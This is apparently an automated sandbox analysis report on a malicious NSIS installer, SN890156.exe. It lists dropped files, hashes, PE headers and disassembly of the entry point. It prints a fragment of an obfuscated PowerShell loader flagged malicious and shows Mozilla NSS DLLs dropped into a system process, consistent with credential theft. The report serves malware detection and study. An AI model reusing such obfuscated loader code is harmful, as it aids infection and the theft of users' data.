Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....!5............!......................... ...............................0.......4....@.............................^............ ..................8=..............T............................................................................text...n........................... ..`.rsrc........ ......................@..@v....................!5.........:...d...d........!5.........d................!5.....................RSDS............k.....api-ms-win-crt-utility-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg.......^....edata... ..`....rsrc$01....` .......rsrc$02.....................!5.....d...............8.......(...................#...<...U...l...............................+...@...[...r...................................4...I..._.......................3...N...e...\|.......................

C:\Users\user\AppData\Local\Temp\DB6E832C\freebl3.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	332752
Entropy (8bit):	6.8061257098244905
Encrypted:	false
SSDEEP:	6144:C+YBCxpjbRIDmvby5xDXlFVJM8PojGGHrIr1qqDL6XP+jW:Cu4Abg7XV72GI/qn6z
MD5:	343AA83574577727AABE537DCCFDEAFC
SHA1:	9CE3B9A182429C0DBA9821E2E72D3AB46F5D0A06
SHA-256:	393AE7F06FE6CD19EA6D57A93DD0ACD839EE39BA386CF1CA774C4C59A3BFEBD8
SHA-512:	827425D98BA491CD30929BEE6D658FCF537776CE96288180FE670FA6320C64177A7214FF4884AE3AA68E135070F28CA228AFB7F4012B724014BA7D106B5F0DCE
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........./...AV..AV..AV...V..AV].@W..AV.1.V..AV].BW..AV].DW..AV].EW..AV..@W..AVO.@W..AV..@V.AVO.BW..AVO.EW..AVO.AW..AVO.V..AVO.CW..AVRich..AV........................PE..L......Z.........."!.........f...............................................p......o.....@.............................P...`........@..p....................P..........T...........................8...@...............8............................text...U........................... ..`.rdata..............................@..@.data...lH..........................@....rsrc...p....@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DB6E832C\mozglue.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	139216
Entropy (8bit):	6.841477908153926
Encrypted:	false
SSDEEP:	3072:8Oqe98Ea4usvd5jm6V0InXx/CHzGYC6NccMmxK3atIYHD2JJJsPyimY4kQkE:Vqe98Evua5Sm0ux/5YC6NccMmtXHD2JR
MD5:	9E682F1EB98A9D41468FC3E50F907635
SHA1:	85E0CECA36F657DDF6547AA0744F0855A27527EE
SHA-256:	830533BB569594EC2F7C07896B90225006B90A9AF108F49D6FB6BEBD02428B2D
SHA-512:	230230722D61AC1089FABF3F2DECFA04F9296498F8E2A2A49B1527797DCA67B5A11AB8656F04087ACADF873FA8976400D57C77C404EBA4AFF89D92B9986F32ED
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......."yQ.f.?Mf.?Mf.?Mo`.Mv.?M.z>Lb.?M...Md.?M.z<Lh.?M.z;Lm.?M.z:Lu.?MDx>Lo.?Mf.>M..?M.{1Lu.?M.{?Lg.?M.{.Mg.?M.{=Lg.?MRichf.?M................PE..L......Z.........."!.........................................................@............@.............................\...L...,.... ..p....................0......p...T...............................@...................T...@....................text............................... ..`.rdata...b.......d..................@..@.data...............................@....rsrc...p.... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DB6E832C\msvcp140.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	440120
Entropy (8bit):	6.652844702578311
Encrypted:	false
SSDEEP:	12288:Mlp4PwrPTlZ+/wKzY+dM+gjZ+UGhUgiW6QR7t5s03Ooc8dHkC2es9oV:Mlp4PePozGMA03Ooc8dHkC2ecI
MD5:	109F0F02FD37C84BFC7508D4227D7ED5
SHA1:	EF7420141BB15AC334D3964082361A460BFDB975
SHA-256:	334E69AC9367F708CE601A6F490FF227D6C20636DA5222F148B25831D22E13D4
SHA-512:	46EB62B65817365C249B48863D894B4669E20FCB3992E747CD5C9FDD57968E1B2CF7418D1C9340A89865EADDA362B8DB51947EB4427412EB83B35994F932FD39
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........A.........V5=......A.....;........."...;......;......;.......;.......;......;.-....;......Rich...........PE..L....8'Y.........."!................P........ ......................................az....@A.........................C.......R..,....................x..8?......4:...f..8............................(..@............P.......@..@....................text...r........................... ..`.data....(... ......................@....idata..6....P....... ..............@..@.didat..4....p.......6..............@....rsrc................8..............@..@.reloc..4:.......<...<..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DB6E832C\nss3.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1244112
Entropy (8bit):	6.809431682312062
Encrypted:	false
SSDEEP:	24576:XDI7I4/FeoJQuQ3IhXtHfjyqgJ0BnPQAib7/12bg2JSna5xfg0867U4MSpu731hn:uQ3YX5jyqgynPkbd24VwMSpu7Fhn
MD5:	556EA09421A0F74D31C4C0A89A70DC23
SHA1:	F739BA9B548EE64B13EB434A3130406D23F836E3
SHA-256:	F0E6210D4A0D48C7908D8D1C270449C91EB4523E312A61256833BFEAF699ABFB
SHA-512:	2481FC80DFFA8922569552C3C3EBAEF8D0341B80427447A14B291EC39EA62AB9C05A75E85EEF5EA7F857488CAB1463C18586F9B076E2958C5A314E459045EDE2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........x..c+..c+..c+...+..c++.b..c+lh.+..c++.`..c++.f..c++.g..c+.b..c+9.b..c+..b+..c+9.k..c+9.gC.c+9.c..c+9..+..c+9.a..c+Rich..c+................PE..L...a..Z.........."!................T........................................@............@.............................d....<..T.......h.......................t~..0...T...............................@............................................text............................... ..`.rdata...P.......R..................@..@.data....E...`... ...:..............@....rsrc...h............Z..............@..@.reloc..t~...........^..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DB6E832C\nssdbm3.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	92624
Entropy (8bit):	6.639368309935547
Encrypted:	false
SSDEEP:	1536:5vNGVOt0VjOJkbH8femxfRVMNKBDuOQWL1421GlkxERC+ANcFZoZ/6tNRCwI41ZH:hNGVOiBZbcGmxXMcBqmzoCUZoZebHZMw
MD5:	569A7A65658A46F9412BDFA04F86E2B2
SHA1:	44CC0038E891AE73C43B61A71A46C97F98B1030D
SHA-256:	541A293C450E609810279F121A5E9DFA4E924D52E8B0C6C543512B5026EFE7EC
SHA-512:	C027B9D06C627026774195D3EAB72BD245EBBF5521CB769A4205E989B07CB4687993A47061FF6343E6EC1C059C3EC19664B52ED3A1100E6A78CFFB1C46472AFB
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........Z.Y.4.Y.4.Y.4.P...U.4...5.[.4..y.Q.4...7.X.4...1.S.4...0.R.4.{.5.[.4...5.Z.4.Y.5...4...0.A.4...4.X.4....X.4...6.X.4.RichY.4.........................PE..L......Z.........."!.........0...............0............................................@..........................?.......@.......`..p............L.......p.......:..T...........................(;..@............0..X............................text............................... ..`.rdata..4....0... ..................@..@.data........P.......>..............@....rsrc...p....`.......@..............@..@.reloc.......p.......D..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DB6E832C\softokn3.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	144336
Entropy (8bit):	6.5527585854849395
Encrypted:	false
SSDEEP:	3072:zAf6suip+z7FEk/oJz69sFaXeu9CoT2nIZvetBWqIBoE9Mv:Q6PpsF4CoT2EeY2eMv
MD5:	67827DB2380B5848166A411BAE9F0632
SHA1:	F68F1096C5A3F7B90824AA0F7B9DA372228363FF
SHA-256:	9A7F11C212D61856DFC494DE111911B7A6D9D5E9795B0B70BBBC998896F068AE
SHA-512:	910E15FD39B48CD13427526FDB702135A7164E1748A7EACCD6716BCB64B978FE333AC26FA8EBA73ED33BD32F2330D5C343FCD3F0FE2FFD7DF54DB89052DB7148
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l$...JO..JO..JO.u.O..JO?oKN..JO?oIN..JO?oON..JO?oNN..JO.mKN..JO-nKN..JO..KO~.JO-nNN..JO-nJN..JO-n.O..JO-nHN..JORich..JO........PE..L......Z.........."!.........`...............................................P......+Z....@..........................................0..p....................@..`.......T...........................(...@...............l............................text.............................. ..`.rdata...C.......D..................@..@.data........ ......................@....rsrc...p....0......................@..@.reloc..`....@......................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DB6E832C\ucrtbase.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1142072
Entropy (8bit):	6.809041027525523
Encrypted:	false
SSDEEP:	24576:bZBmnrh2YVAPROs7Bt/tX+/APcmcvIZPoy4TbK:FBmF2lIeaAPgb
MD5:	D6326267AE77655F312D2287903DB4D3
SHA1:	1268BEF8E2CA6EBC5FB974FDFAFF13BE5BA7574F
SHA-256:	0BB8C77DE80ACF9C43DE59A8FD75E611CC3EB8200C69F11E94389E8AF2CEB7A9
SHA-512:	11DB71D286E9DF01CB05ACEF0E639C307EFA3FEF8442E5A762407101640AC95F20BAD58F0A21A4DF7DBCDA268F934B996D9906434BF7E575C4382281028F64D4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........E..............o........p..................................................................Rich............................PE..L....3............!.....Z...........=.......p...............................p............@A........................`................................0..8=......$... ...T...........................H...@............................................text....Z.......Z.................. ..`.data........p.......^..............@....idata..6............l..............@..@.rsrc...............................@..@.reloc..$...........................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DB6E832C\vcruntime140.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	83784
Entropy (8bit):	6.890347360270656
Encrypted:	false
SSDEEP:	1536:AQXQNgAuCDeHFtg3uYQkDqiVsv39niI35kU2yecbVKHHwhbfugbZyk:AQXQNVDeHFtO5d/A39ie6yecbVKHHwJF
MD5:	7587BF9CB4147022CD5681B015183046
SHA1:	F2106306A8F6F0DA5AFB7FC765CFA0757AD5A628
SHA-256:	C40BB03199A2054DABFC7A8E01D6098E91DE7193619EFFBD0F142A7BF031C14D
SHA-512:	0B63E4979846CEBA1B1ED8470432EA6AA18CCA66B5F5322D17B14BC0DFA4B2EE09CA300A016E16A01DB5123E4E022820698F46D9BAD1078BD24675B4B181E91F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........NE...E...E.....".G...L.^.N...E...l.......U.......V.......A......._.......D.....2.D.......D...RichE...........PE..L....8'Y.........."!......... ...............................................@............@A......................................... ..................H?...0..........8...............................@............................................text............................... ..`.data...D...........................@....idata..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_o2wjsa1r.efq.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pdjd2yes.llb.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede\Assentoft\SN890156.exe

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	597280
Entropy (8bit):	7.713787999933457
Encrypted:	false
SSDEEP:	12288:TBIJsQZOIPSaJbib6+LBgIlfQORq6vzuOCCn:yJsQQIPS99gIlfQL+zwCn
MD5:	62EAB9F468C6599A5A972C3FD1D5AAA4
SHA1:	3C8FCDFCC78EA26FEB6A51542456FDC9891719CF
SHA-256:	74D52B94DBE44E83459E097EA1A1D22631A78BFFA24CCF8ECC5492E9AF9091A2
SHA-512:	2F05C63B93E3E2C7EF6E7FA7940AEF02980520FC511B79F29AEDB1B3AED69D5490D3B4D40BED9B5718794B3FA2E5CED85F5811A2666ACF89FAFAC3439EBDB6C8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 18%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...P...P...P.._...P...P..NP.._...P..s...P...V...P..Rich.P..........................PE..L...s..V.................`...*......j2.......p....@.................................%D....@..................................t..........................`............................................................p...............................text...._.......`.................. ..`.rdata..p....p.......d..............@..@.data................x..............@....ndata...................................rsrc............ ...~..............@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede\Assentoft\SN890156.exe:Zone.Identifier

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede\Assentoft\Underpicked.for

Download File

Process:	C:\Users\user\Desktop\SN890156.exe
File Type:	Matlab v4 mat-file (little endian) , numeric, rows 0, columns 0
Category:	dropped
Size (bytes):	453733
Entropy (8bit):	1.2514711502339224
Encrypted:	false
SSDEEP:	768:TBp1pVcIYqNCfRrT7JJcQJPfkMIo6z46B4ekw4HdEjhsXbsBEOCi0vVCMRFz8C+T:72fV9kWUCOF0whSmRlbggA4qNdEd
MD5:	AC5571DD33C9839DB6057C16DA37CA1C
SHA1:	88E6A27B9D97FED1B1B3C0645C385A55CBA97B1C
SHA-256:	A26DEA165E880BD1B77D65421072A19A616D83501165EB670E030AEABE630B7F
SHA-512:	7B0107081FC5F524BD363F224702F28B326C763676DA76B664D66ED61DEAB53FEB85D5310D7B1CE2431EB4F9E19C1D5A5EB57EC349F33903316BB20620D56282
Malicious:	false
Preview:	...........................:.................>...........................................................................................]..................................................................T......................+..M....................c..!........................n...$.....-................................v.........................................!..................v......8.....................................B>.....6.......................................................................................{.................1.................*..............................V..............................y...........................U........................X..........................................H..................................................A.......j..............5....z.U..........&..........................................Y..............................................d...........R.............................".............................................\............

C:\Users\user\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede\Assentoft\unputtied.alt

Download File

Process:	C:\Users\user\Desktop\SN890156.exe
File Type:	GTA audio index data (SDT)
Category:	dropped
Size (bytes):	233646
Entropy (8bit):	1.2430596178422348
Encrypted:	false
SSDEEP:	768:8LflXCJDKiw0J0Fs3bFcrnCdmJ5mrFBg+9wvL1GY2Tx0eF6lz75fa/XPQiOPPcV/:8S+pkiSelVeM5y3oqNwo
MD5:	33264A7D348A2CAA6AC2674DD4E4462C
SHA1:	4E47E7757B842B110E4ABF40BC71BC0D934647DE
SHA-256:	065AD0DABF288CA714AF5F63C520F5C95EE18B3B6AEC8DC1C8C06ABA964BA8E9
SHA-512:	213573BCD7F2852869734E501181B79A9990595B0FA64DF2245A9A591F0AAD40EFDE6382454C273D66C324EFEB382FCDE3E0CDAD8E86A040A51FC794D31B75D8
Malicious:	false
Preview:	.............................................................................................................J........................'...........................f............1....................!N...................................'...............}.......................................................................W......................................................}................................................................................................................E...........................6.....L...................................O............................-6........3...............................8.......g......S..............;..........................\.............-..........................................b........................................................................................................................................0..............._...............................F......................................................................

C:\Users\user\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede\Brugervenlige205.gar

Download File

Process:	C:\Users\user\Desktop\SN890156.exe
File Type:	ASCII text, with very long lines (53597), with no line terminators
Category:	dropped
Size (bytes):	53597
Entropy (8bit):	5.377599848398492
Encrypted:	false
SSDEEP:	1536:LFMRWNOfJNGFgk2tPvJ/i5D7DaeE2QRyokQ6f0orsel:LFMRAORJPEEP7s0Yl
MD5:	F0196B8284EBE1D0B196E5FFAB1BB3AA
SHA1:	BEB56D90CBE4FFB0C6849E77A3F6583AE30BD7CC
SHA-256:	2086ACCE7331ACF6AF6BB675CAE9114EEBA8E0EF0653997BA1E402965B222511
SHA-512:	57ADFEB4A7798C0450C05E4A024616CC3910D2C296844E9DBF88CA1FDA4EC265FF60F8C835F0D65442EE61EF2DB47EE1F07DD61BA2EA6C9AEBF6FD5E1FDBEE13
Malicious:	true
Preview:	$Luftkaptajnens=$Leptons;<#Notationen Overpostmesters Arkitektgruppen forulempe Gutturalization Hypericaceae Neonatus #><#Swingets Distributivt Parrokets arroya Nondiligent #><#Informant cognovit Bridgeables Svveflyvere Oplandsgrnses Sgeindeks #><#Extradural Troughful Derog alkoholiserede Sonometer Idealistically #><#Teleudstyrets Benbruddene Pussene Perisclerotic Omalgia Promulgated #><#Decal Hjemmelssprgsmaals Rhytidosis Supportress Beleed #>$Skvisende = "Hders;Brnes`$VoodoU Sloen An irHelveeDavrelFac da,pidet Aorti Qu tnSu,kegWye,h= Mobt`$SmeltVUnderiChatekFagbla De,erStribiLoc.oeNoninr Insue kovbtBid a; AfgafCraniu StbonBrslicTremmt SpriiFuchsoRai bnRh nc EnoksTevangrSorbeyVinylk SnedsGeni,aParergPal oeBusk.rStandnDem,ceBogans Mage Stin,(Praus`$ RussH .ugtyHandypTilr sstiknich.atp Un.erSvingyKnapmmDgnpln MalkuLseprs istr,mosen`$EbbasNR sitohom pnKur.ndpar.oeReplis CoatiForbrr N.noeSeed.)Old,i Brnep{Viri,. Kur.`$UncanMPho.puMullisPufficPolitaIn rirNondid U,coiBeskan.utopiAppardSlent

C:\Users\user\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede\Pladeoverflades.fod

Download File

Process:	C:\Users\user\Desktop\SN890156.exe
File Type:	data
Category:	dropped
Size (bytes):	60216
Entropy (8bit):	1.2446198500517252
Encrypted:	false
SSDEEP:	384:E0/pnZmCIME6mIJXGlKCikEsHKdl1tF82ZwairnoP/d6oywzsHQ6TdRQ6zZNgkXF:EQpnjI36pGlqdRC2ZwmdeHftT
MD5:	57A1DB9A7830E065CCE4CC639010D7A8
SHA1:	90D8334A6A5DD812BB374BF2E3B45948013B80D0
SHA-256:	F98FEE6417C0592338A6F329818CCA356903532DBCD8F0CA9642E9A345229A5A
SHA-512:	44D64D149229D55069BAF52E49B108863F3024F9ACE4EC6CA8FA333AD64703946E995017C0E703816BBE09C4955FEB5225B877541F81B6FF07D0F5D22C4188CC
Malicious:	false
Preview:	.......................A.............................................R.....................f..................W...........................................k........................f.........=........Y...........................t............'.......;...............................M....................................#..m.............................................................Y.........................y>............................................N..........M...........h........'a........V.F............................................................................................................................&....................b..*...............................n.G.........A....................i..........h................................................................V.........................................................................................................................^............................f.........n...........................1......F..............u.

C:\Users\user\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede\Undr.Ooz

Download File

Process:	C:\Users\user\Desktop\SN890156.exe
File Type:	data
Category:	dropped
Size (bytes):	295908
Entropy (8bit):	7.760505961054482
Encrypted:	false
SSDEEP:	6144:0w8NiKSIMX1Y7GefJnhTA3hjuHLu3c9KKB0buH+XMb:0w8NiFIJNohjmu3qKK0u0O
MD5:	24A4EB82CF1A1F83FCA117BD78F27F1F
SHA1:	3EFE0FDEF95700A86847E22ABBD0C05462DD8A9A
SHA-256:	791E05D283DC3EB1A174FCC3807E8DE356C26F99ABD129BDF612E2DB05879A8C
SHA-512:	C5DE09E10F70273A57BAC90B472C6CA0DC691758832A4CC283C84CF874047EF94379F787AE81AD935AFDD235678B839AB7B935886C7E1519A766DDF3E72AD132
Malicious:	false
Preview:	................U....................>......X....`......-.........bb.....g..ss.ff...&&&&...0..........?.....................T....m...................*................f..~..............G.(.............J.....PP.=....jj........#..%..~....$...........(.c..55.........J...............Z..RRRR.....33....c................[......0....................................iii.+...XX.%.......V..BB...R........I.......3.WWWW...rrr........jj.....w....._.,,.8...........h.....ZZ...1.l...c.................mmm.............................uuuuuu.{.......X.....///.uu.CC.%%%.......................2....!!.(...............R.y.PP...................\.y....@@@@.,...N.........k.........55................!!..........................?.......2............\|\|\|\|\|\|..]........v.^.............................e.<....'..........................G..........b.............................\|.VV........9..kk.?..U...................VV...t............oo.P.kkkkk.._.........YYYYY.......~~..YY./........YY.\|\|..............lllll......<<<<.....

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.713787999933457
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SN890156.exe
File size:	597'280 bytes
MD5:	62eab9f468c6599a5a972c3fd1d5aaa4
SHA1:	3c8fcdfcc78ea26feb6a51542456fdc9891719cf
SHA256:	74d52b94dbe44e83459e097ea1a1d22631a78bffa24ccf8ecc5492e9af9091a2
SHA512:	2f05c63b93e3e2c7ef6e7fa7940aef02980520fc511b79f29aedb1b3aed69d5490d3b4d40bed9b5718794b3fa2e5ced85f5811a2666acf89fafac3439ebdb6c8
SSDEEP:	12288:TBIJsQZOIPSaJbib6+LBgIlfQORq6vzuOCCn:yJsQQIPS99gIlfQL+zwCn
TLSH:	D5C402083EC73455FC650DB27A210F6B43BB6AB8248835BE6FE5A76B7070703991E346
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...P...P...P.._...P...P..NP.._...P...s...P...V...P..Rich.P..........................PE..L...s..V.................`...*.....

File Icon


Icon Hash:	9b2b2b1396bb4517

Static PE Info

General

Entrypoint:	0x40326a
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x567F8473 [Sun Dec 27 06:25:55 2015 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	d4b94e8ee3f620a89d114b9da4b31873

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN="Ringkbingeren Kuragens ", O=Trendbord, L=Curmont, S=Grand Est, C=FR
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	02/07/2024 12:00:18 02/07/2027 12:00:18
Subject Chain	CN="Ringkbingeren Kuragens ", O=Trendbord, L=Curmont, S=Grand Est, C=FR
Version:	3
Thumbprint MD5:	BADB91DF6729F5E7D310C511A5C6A1CE
Thumbprint SHA-1:	0B24ABB6A39C105ADCA1B2861B6E5108F198CB15
Thumbprint SHA-256:	2D0C2514B9ED670926F62DF3E4E070ED720C4FD94DEC00FB61519606F3B404B4
Serial:	5B7CFD69193FD8052A40EC983E0F30D26292F8FA

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebp
push esi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+0Ch], ebp
push 00008001h
mov dword ptr [esp+0Ch], 00409300h
mov dword ptr [esp+18h], ebp
call dword ptr [004070B0h]
call dword ptr [004070ACh]
cmp ax, 00000006h
je 00007F8B4C4CCF53h
push ebp
call 00007F8B4C4D0096h
cmp eax, ebp
je 00007F8B4C4CCF49h
push 00000C00h
call eax
push ebx
push edi
push 004092F4h
call 00007F8B4C4D0013h
push 004092ECh
call 00007F8B4C4D0009h
push 004092E0h
call 00007F8B4C4CFFFFh
push 00000009h
call 00007F8B4C4D0064h
push 00000007h
call 00007F8B4C4D005Dh
mov dword ptr [00429224h], eax
call dword ptr [00407044h]
push ebp
call dword ptr [004072A8h]
mov dword ptr [004292D8h], eax
push ebp
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebp
push 004206C8h
call dword ptr [0040718Ch]
push 004092C8h
push 00428220h
call 00007F8B4C4CFC4Ah
call dword ptr [004070A8h]
mov ebx, 00434000h
push eax
push ebx
call 00007F8B4C4CFC38h
push ebp
call dword ptr [00407178h]

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x74bc	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x48000	0x21ec0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x913c0	0x960
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7000	0x2b8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5ffa	0x6000	df2f822ba33541e61d4a603b60bbdbcc	False	0.6675211588541666	data	6.472885474718374	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x7000	0x1370	0x1400	a10c5fabf76461b1b26713fde2284808	False	0.4404296875	data	5.0714431097950134	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x9000	0x20318	0x600	45bc104aba688d708375b6b0133d1563	False	0.5084635416666666	data	3.9955723529870646	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
